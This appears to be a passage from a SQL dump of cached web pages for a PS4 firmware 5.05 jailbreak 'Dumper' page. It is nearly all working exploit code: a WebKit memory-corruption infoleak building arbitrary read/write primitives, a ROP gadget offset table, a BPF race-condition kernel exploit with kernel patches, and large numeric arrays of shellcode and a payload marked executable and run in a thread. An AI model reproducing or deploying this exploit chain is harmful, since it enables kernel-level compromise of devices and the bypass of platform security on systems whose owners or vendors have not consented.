kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var payload=[119017,8567040,257277952,3804317746,2303218464,3968026833,3238610968,138840904,3133901128,16348,1210616648,1208514699,2758836621,2303197214,2211512302,427163640,203703433,1354989896,3187678883,16348,4293888328,608472019,3296937996,3277675288,418153288,138906440,33465,2022394048,1082870848,1211240264,3242774921,1204232417,8,3356051456,412060488,1207959553,4265644173,2303262719,3339199572,5191,1204224000,4,116480,1207959552,2229307531,2303197449,2336763983,739815568,1351174402,1351174432,3256880920,1221691720,4294959489,571473918,3257012161,139365192,612142408,1879394312,3120570020,8,4281437000,1220555216,3273180291,4203300947,15499592,1207959554,290403725,2303197184,4290785767,1953557,3867756544,33215,420871936,1207959579,33604737,3277520896,268011848,3804317746,3490269216,1213420995,8973441,3677421568,1076118726,3850979328,2370361993,1117749,4018751488,369082417,7556,131002,100777472,2303197184,117237999,4169334784,2303161599,117237959,2303197184,1821198575,4226301988,2298478598,898451674,4323,837781832,1159069632,3204448285,10,469374463,2303197184,3280554222,4291266888,1815317,3632875520,3288271339,1963522947,1220555143,8963201,1566244864,1096106435,1213420884,36236417,4175953920,3892314113,2895,518376,167700480,826605568,3364045257,3120509439,4098,954,1071431168,1726480384,1157627911,2202126641,45744072,3120562192,3,12517169,1225169792,1189659785,1207959559,2370365065,4294845245,3314108671,606374220,101096,88795136,3224436736,4294895848,3229960447,21070863,2303197184,3263776963,2369097032,1207959568,397294989,3224436736,611093836,1763049232,1207959580,3677478793,481695231,2370306048,1045821,4268156928,2370371583,3121095804,8,4293298508,1763093,1032669184,4070,4294854632,3632875775,608437064,4001975304,1044221256,1224736765,405030025,491031880,3280029696,16348,608471368,15853584,2168979456,2605093115,1221227782,539253901,3074264392,1275068431,539274381,3892314113,4294966776,1222609224,387061133,2370306048,1031733,4290785536,1821461,3666429952,3191180616,1275068431,3224498057,464918015,2303459328,4257409263,2303262719,33536735,29229056,3892314118,1318,2315253891,1208907203,262225293,2649227264,3959422973,2147531298,2303198875,3905391086,1270,2554170696,3892314127,4294966656,4226342793,1275068420,3703498633,3892314175,1525,2608857278,4018751494,387304,1208806144,260980109,1374158848,1224736765,36226177,3224436736,1547787611,1220762945,2474183,1810432000,1207959566,3588295,1609105408,1207959566,770247,1407778816,1207959566,390739341,1213333504,257113485,3343384576,1552133,0,66971648,3229941760,2370316916,1517365,1032669184,3904,255720,1958774016,898451475,5904,1010666824,3892314127,975,385760651,2370306048,1507093,898451456,3894,230376,3846015744,1207959574,387847565,2370306048,995125,57337856,1032519680,5836,1024822600,1207959575,254227853,1374158848,2332033027,1487677,361580544,5892,372608328,3892314127,824,379207051,2370306048,1518357,898451456,3852,204776,2168294144,1207959574,390206861,2370306048,986165,50784256,1032519680,5736,2836761928,1207959574,252786061,3991404544,2332033026,1462077,361580544,5848,288722248,3892314127,724,372653451,2370306048,1515285,898451456,3846,179176,490572544,1207959574,377361805,2370306048,981813,44230656,1032519680,5636,2232782152,1207959574,250623373,2313682944,2332033026,1436477,361580544,5764,3862269256,3892314126,624,366099851,2370306048,1436437,898451456,3804,153576,3107818240,1207959573,377623949,2370306048,971317,37677056,1032519680,5536,2299891016,1207959573,248067469,635961344,2332033026,1410877,361580544,5680,3325398344,3892314126,524,359546251,2370306048,1412885,898451456,3781,127976,1430096640,1207959573,363730317,2370306048,967477,31123456,1032519680,5436,1024822600,1207959574,246494605,3253207040,2332033025,1385277,361580544,5484,2771750216,3892314126,424,352992651,2370306048,1381141,898451456,3732,102376,4047342336,1207959572,365565325,2370306048,950837,24569856,1032519680,5336,2031455560,1207959573,242627981,1575485440,2332033025,1359677,361580544,5536,1949666632,3892314126,324,346439051,2370306048,1363733,898451456,3697,76776,2369620736,1207959572,358487437,2370306048,945717,18016256,1032519680,5236,1830128968,1207959573,241907085,4192731136,2332033024,1334077,361580544,5260,1748340040,3892314126,224,339885451,2370306048,1323797,898451456,3670,51176,691899136,1207959572,339350925,2370306048,934965,11462656,1032519680,5136,3373632840,1207959572,238171533,2515009536,2332033024,1308477,361580544,5352,557157704,3892314126,124,333331851,2370306048,1333013,898451456,3599,25576,3309144832,1207959571,343283085,2370306048,916789,4909056,1032519680,5036,353733960,1476395028,3962932552,3909091341,48,827377969,1224094162,232930701,826605568,3224454601,336991743,1213792256,344331661,2370306048,912693,3922168064,0,1338033992,3909091330,2654,1354811208,3909091330,2642,113723472,352,837978440,3221129664,593,669416,1220762112,827388297,4270409938,3217043781,594,485015601,1509949450,1358858691,3375485489,152511,3904909568,2567,3375481690,835858768,1032669430,3487,1170813253,369082417,4996,361580633,5116,2570423624,2298478605,4285458887,3343450111,960,164423936,3343384576,1216,163637504,3343384576,1472,162851072,3343384576,1728,162064640,3343384576,2752,161278208,3343384576,2496,160491776,3343384576,15040,159705344,3343384576,14784,158918912,3343384576,5568,158132480,3343384576,96960,157346048,3343384576,5824,156559616,3343384576,31680,155773184,3343384576,31936,154986752,3343384576,32960,154200320,3343384576,35008,153413888,3343384576,35264,152627456,3343384576,48320,151841024,3343384576,48576,151054592,3343384576,48832,150268160,3343384576,69824,149481728,3343384576,122560,148695296,3343384576,126400,147908864,2303197184,4052306170,3220582736,602,3102261297,1509949448,3234285763,477,568809,3234285568,73,565737,3234285568,74,562665,3234285568,65,559593,3234285568,203,556521,3234285568,204,553449,3234285568,547,550377,3234285568,572,547305,826626816,3224454601,3526478129,2370369073,792125,3574988544,1207959569,310252941,2370306048,790837,2311293184,4257147079,3750363135,2635435336,1207959570,201667981,2850553856,2315255805,361580767,4768,37064008,3892314124,4294966676,2370363273,1202965,898451456,3067,4294803432,1222609407,309204365,2370306048,782645,4251641856,3750363135,2031455560,1207959570,199701901,1441267712,2315255805,361580767,4732,3744828744,3892314123,4294966592,2370363273,1189653,898451456,3031,4294781928,1222609407,307893645,2370306048,773429,4246136832,3750363135,3440741704,1207959569,197801357,31981568,2315255805,361580767,4640,3342175560,3892314123,4294966508,2370363273,1164053,898451456,3011,4294760424,1222609407,292951437,2370306048,769845,4240631808,3750363135,1897237832,1207959569,196687245,2917662720,2315255804,361580767,4404,3006631240,3892314123,4294966424,2370363273,1140501,898451456,2987,4294738920,1222609407,289543565,2370306048,762421,4235126784,3750363135,4246048072,1207959568,194590093,1508376576,2315255804,361580767,4464,2436205896,3892314123,4294966340,2370363273,1131285,898451456,2952,4294717416,3375449599,834679109,835858889,1032669430,2940,269882879,2370306048,1087253,898451456,2938,3347694473,4294705128,1222609407,285611405,2370306048,749365,4226476032,3750363135,361580635,4224,1731562824,3909091339,4294966228,893225808,1207959567,291378573,2370306048,745013,4223330304,1032585215,3868,353733960,1207959569,190199181,2716336128,2348810235,983869,361580544,4332,1278577992,3892314123,4294966152,250232203,2370306048,1116949,898451456,2884,4294668264,3510471679,1207959566,282203533,2370306048,735797,4216776704,1032585215,3768,2836761928,1207959568,187774349,1038614528,2348810235,958269,361580544,4216,657821000,3892314123,4294966052,243678603,2370306048,1085205,898451456,2847,4294642664,1832750079,1207959566,272504205,2370306048,727605,4210223104,1032585215,3668,2232782152,1207959568,186135949,3655860224,2348810234,932669,361580544,4124,322276680,3892314123,4294965952,237125003,2370306048,1063701,898451456,2833,4294617064,155028479,1207959566,270144909,1213792256,185611661,2380857344,1409286138,1170813253,3375480881,4130460209,222137672,4278190091,946965,361580544,4172,288722248,2298478603,3905391043,4294965852,2370363273,1166101,898451456,2815,4294592488,1222609407,273028493,2370306048,716597,4197640192,3750363135,2702544200,1207959568,182531469,501743616,2315255802,361580767,4396,3560279368,3892314122,4294965768,2370363273,1103637,898451456,2760,4294570984,1222609407,263329165,2370306048,703029,4192135168,3750363135,1561693512,1207959568,179058061,3387424768,2315255801,361580767,3944,2654309704,3892314122,4294965684,2370363273,1055509,898451456,2704,4294549480,1222609407,264639885,2370306048,688949,4186630144,3750363135,420842824,1207959568,175453581,1978138624,2315255801,361580767,4292,1748340040,3892314122,4294965600,2370363273,1072917,898451456,2650,4294527976,1222609407,262804877,2370306048,674869,4181125120,3750363135,1293258056,1207959568,171914637,568852480,2315255801,361580767,3800,842370376,3892314122,4294965516,2370363273,1020693,898451456,2598,4294506472,1222609407,273552781,2370306048,661557,4175620096,3750363135,3642068296,1207959566,168441229,3454533632,2315255800,361580767,3852,4248145224,3892314121,4294965432,2370363273,1007381,898451456,2543,4294484968,1222609407,257037709,2370306048,647733,4170115072,3750363135,2501217608,1207959566,164377997,2045247488,2315255800,361580767,4008,3191180616,3892314121,4294965348,2370363273,1024789,898451456,2481,4294463464,1222609407,245765517,2370306048,631093,4164610048,3750363135,3910503752,1207959565,160707981,635961344,2315255800,361580767,3636,2285210952,3892314121,4294965264,2370363273,962325,898451456,2430,4294441960,1222609407,242357645,2370306048,618549,4159105024,3750363135,3306523976,1207959566,157365645,3521642496,2315255799,361580767,3608,1295355208,3892314121,4294965180,2370363273,877333,898451456,2365,4294420456,1222609407,241571213,2370306048,602165,4153600000,3750363135,2970979656,1207959565,152384909,2112356352,2315255799,361580767,3740,137727304,3892314121,4294965096,2370363273,939797,898451456,2284,4294398952,1222609407,244979085,2370306048,583221,4148094976,3750363135,1159040328,1207959566,148387213,703070208,2315255799,361580767,3568,3426061640,3892314120,4294965012,2370363273,932629,898451456,2241,4294377448,1222609407,221648269,2370306048,571445,4142589952,3750363135,3776286024,1207959565,145372557,3588751360,2315255798,361580767,3268,2637532488,3892314120,4294964928,2370363273,827157,898451456,2192,4294355944,1222609407,236066189,2370306048,558389,4137084928,3750363135,1561693512,1207959564,142095757,2179465216,2315255798,361580767,3152,1798671688,3892314120,4294964844,2370363273,903957,898451456,2144,4294334440,1222609407,212211085,2370306048,545845,4131579904,3750363135,689278280,1207959564,138753421,770179072,2315255798,361580767,3300,1010142536,3892314120,4294964760,2370363273,831253,898451456,2093,4294312936,1222609407,221910413,2370306048,532021,4126074880,3750363135,487951688,1207959564,135280013,3655860224,2315255797,361580767,3248,20286792,3892314120,4294964676,2370363273,830229,898451456,2034,4294291432,1541376511,3306523976,1207959563,132330893,2582183936,1224736757,2303311921,1912934346,2202583809,615997,410255360,1561722704,1493172233,3343386761,4294967232,3267840255,4294967295,175318467,168430090,788531722,796159597,627209077,1680748393,1702130281,788558963,796159597,627209077,1699414121,1818586738,1952542752,1684367459,1951596577,1769239137,1260414830,1701737061,1967399020,774795373,1766195246,1752394094,1679844453,1768975733,1260414830,1701737061,1869881452,1702065440,1851878514,620765540,1699426163,1818586738,1886221636,1852400174,1769101056,1735289204,1919249184,543974766,171601780,1124102949,544501345,1634038371,1713399156,543517801,1174417210,1936289385,543450472,1953067639,543649385,1852990795,1948281957,543236207,1701603654,2701856,1428189006,1176519251,1684960623,1651076096,1852990827,1932422245,7893616,1801611628,1701737061,1702322028,1886596706,1811970162,1701536361,1818586738,1937339231,1919972142,1600061560,1667331187,1751342955,1969708907,6582881,1953718111,1600873313,1600874595,1818845542,1700749056,1919906418,1701016320,1852990795,1917152357,7499634,1264935795,1701737061,1634684012,1635013476,1867347058,1701606756,1701016320,1852990795,1816226917,1633906540,1766090100,1952671090,1869440333,1929410930,1699439971,1818586738,1148215629,1667592809,1835355508,7959151,1264935795,1701737061,1635013484,1668481140,1919241061,1332503918,7234928,1264935795,1701737061,1634030188,1668481124,1919241061,1282172270,1801807219,1701016320,1852990795,1816357989,6648687,1264935795,1701737061,1701598060,1929408613,1699439971,1818586738,1701606229,1929408613,1699439971,1818586738,1953785159,1868918121,2036425830,1701016320,1852990795,1699179621,1869762676,1936942435,1701669204,1701016320,1852990795,1699179621,1920287604,1953391986,7696451,1668512115,1929407604,1952674681,1853448812,6647137,1634957683,6841202,1667594341,1879074166,1701996660,1935631457,6712421,1919448176,1600414053,1635018099,1852401254,1601795177,1929408622,1699439971,1818586738,1634038339,1900373364,1702192501,1701016320,1852990795,1698983013,1702126956,1702195525,1929405813,1699439971,1818586738,1432642625,1165124979,1953391990,1701016320,1852990795,1682009189,1634030180,1702249828,1728083054,1769305189,1701249124,1684629364,1952802560,6580592,1886676327,6580592,1970562419,1929405545,1768387685,1702035556,1969582708,1929405545,1701999717,6580583,1937339183,795698548,1835888483,1815047791,1815044713,1666409065,1937331045,1818850389,1919972142,1668481144,1937331045,1818850389,1684956499,1953724755,1867410789,1768319348,1769234787,1767337583,1700030580,1811969144,1666409065,1937331045,1969516397,1932420460,7893616,1399153523,1869443961,1701606756,1684107084,1969516365,1811965292,1666409065,1952796261,1919972142,1668481144,1952796261,1801678675,1929409637,1699636579,1668240244,1131701611,1702063980,1701016320,1131701582,1701736047,1929409635,1699636579,1852134260,1668481124,1952796261,1684957506,1701016320,1282696526,1702130537,1668481134,1952796261,1701012289,1929409648,1699636579,1667584628,1668481142,1952796261,1801678675,1648456805,7631471,1315267443,1699181669,1668248436,1835101803,1668481125,1952796261,1937007943,1869308783,1929409648,1699636579,1952797556,1801678707,7630959,1315267443,1850307685,1951298661,1929408623,1699636579,1701726580,1869893748,1668481134,1952796261,1852798024,1929407596,1699636579,1869891700,1929407598,1699636579,1869891700,1929409390,1699636579,1869893236,7105640,1315267443,1951298661,7104623,1315267443,1951298661,7563375,1398958444,1699636579,1819558772,1919972142,1668481144,1952796261,1231844419,7629166,1315267443,1950577765,1919243372,1668481133,1952796261,1198289987,1850307685,1929408358,1951425891,1634038376,1701987172,6648929,1348821875,1701996660,2017813601,1929409641,1951425891,1634038376,1952793700,6841185,1348821875,1701996660,1867146337,1929408105,1951425891,1634038376,1701402980,1929405548,1951425891,1634038376,1818579812,1668481126,1752453221,1684104562,1668178243,1929407589,1951425891,1634038376,1953844580,1850308709,1929409641,1951425891,1634038376,1953844580,1698986085,1869771891,1668481145,1752453221,1684104562,1702131021,1668238456,1668481131,1752453221,1684104562,1702131021,2037535864,1801678700,1701016320,1919448144,1298424165,2019914869,1701669204,1668246628,1668481131,1752453221,1684104562,1702131021,1819170168,7037807,1398958444,1766614371,1850303330,1852990836,1932422241,7893616,1819042157,1711301487,6645106,1819042147,1912628079,1819042149,1828741999,1818324325,7235433,1936549229,1828746341,1885564261,1701642361,1886217069,1920234240,7958627,1852994675,7958627,1668445299,1929409633,1668182644,1929409633,1701606004,1953693806,1886217074,1920234240,1886217070,1919972096,1718906473,1886286592,1953393010,1936916582,1718509923,1920234240,7497827,1920103539,7497827,1936880755,1929409140,1969517172,1769078896,2019910766,1685285120,1953064809,1869897984,1953693801,1885564018,1953693817,1920099698,1593864815,1886676295,1887007843,1398734949,1819635572,1868784128,1929410928,1684955506,1668505856,1701669236,1668505856,1701669236,1728082527,1835627629,1835466853,1701669236,1811968863,1818321775,1701669236,1668246528,1769237601,1918854509,1953197312,6647145,1852141679,7498084,1684104562,7498084,1684104562,1601333604,1702101106,1768189036,1702035570,1768188773,1701970034,1684957559,7498084,1936682083,1919509605,1919509504,1728078950,1919972453,1634625391,1711301997,1852141679,1701996032,1711301729,1953067639,1936064613,7038309,1818588262,1667629164,1702063980,1919968768,1718906473,0];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (7,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05 (Dumper)</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var 